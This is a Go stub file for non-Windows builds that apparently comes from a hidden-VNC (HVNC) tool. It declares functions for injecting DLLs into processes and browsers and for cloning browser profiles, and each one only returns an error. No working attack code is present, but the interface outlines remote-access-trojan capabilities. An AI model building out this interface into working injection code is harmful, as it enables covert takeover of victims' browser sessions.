26 lines
1.0 KiB
Go
26 lines
1.0 KiB
Go
//go:build !windows
|
|
|
|
package capture
|
|
|
|
import "errors"
|
|
|
|
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
|
return 0, errors.New("HVNC injection not supported on this platform")
|
|
}
|
|
|
|
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
|
return errors.New("HVNC injection not supported on this platform")
|
|
}
|
|
|
|
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
|
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
|
type LaunchStatusFunc func(step string, success bool, detail string)
|
|
|
|
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
|
return errors.New("HVNC injection not supported on this platform")
|
|
}
|
|
|
|
func CheckInstalledBrowsers() map[string]bool {
|
|
return nil
|
|
}
|